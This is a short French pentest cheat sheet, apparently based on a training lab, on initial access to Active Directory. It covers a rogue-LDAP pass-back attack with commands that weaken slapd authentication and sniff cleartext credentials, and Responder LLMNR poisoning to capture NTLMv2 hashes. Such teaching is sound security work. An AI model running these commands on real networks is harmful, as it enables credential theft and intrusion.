[AD] Initial Access
Introduction
Les techniques pour obtenir un accès initial au domaine ne manquent pas avec Active Directory.
Nous étudierons quelques techniques dans cette fiche.
Techniques
LDAP Pass-back attack
Cette attaque part du principe que vous ayez accès à une application capable d'établir des connexions LDAP pour authentifier les utilisateurs.
Par exemple, il peut s'agir d'un interface web de gestion d'imprimante que vous auriez compromis.
Si un combo identifiant/mot de passe est sauvegardé dans l'application mais que vous en avez pas l'accès, vous allez pouvoir mettre en place un serveur LDAP malveillant et faire pointer l'application dessus lors de l'authentification pour récupérer les identifiants.
Tout d'abord installez un serveur LDAP :
sudo apt-get update && sudo apt-get -y install slapd ldap-utils && sudo systemctl enable slapd
Il vous faut ensuite configurer le serveur LDAP :
sudo dpkg-reconfigure -p low slapd
Le nom du domaine DNS va vous être demandé (mettre celui que vous souhaitez compromettre) :
Le saisir de nouveau :
Sélectionnez MDB comme base de donnée :
Il faut ensuite descendre la version du protocole d'authentification LDAP. Pour cela on doit créer un fichier de configuration olcSaslSecProps.ldif :
#olcSaslSecProps.ldif
dn: cn=config
replace: olcSaslSecProps
olcSaslSecProps: noanonymous,minssf=0,passcred
Puis on applique cette configuration :
sudo ldapmodify -Y EXTERNAL -H ldapi:// -f ./olcSaslSecProps.ldif && sudo service slapd restart
On peut ensuite se mettre en écoute avec tcpdump pour intercepter le mot de passe lors de la prochaine requête :
sudo tcpdump -SX -i breachad tcp port 389
Capture des challenges NTLM
Grâce à l'outil Responder, on va pouvoir récupérer le hash NTLM des hôtes sur le réseau en empoisonnant le cache LLMNR :
sudo responder -I <IFACE>
Vous serez averti si l'attaque réussie :
[+] Listening for events...
[SMBv2] NTLMv2-SSP Client : <Client IP>
[SMBv2] NTLMv2-SSP Username : ZA\<Service Account Username>
[SMBv2] NTLMv2-SSP Hash : <Service Account Username>::ZA:<NTLMv2-SSP Hash>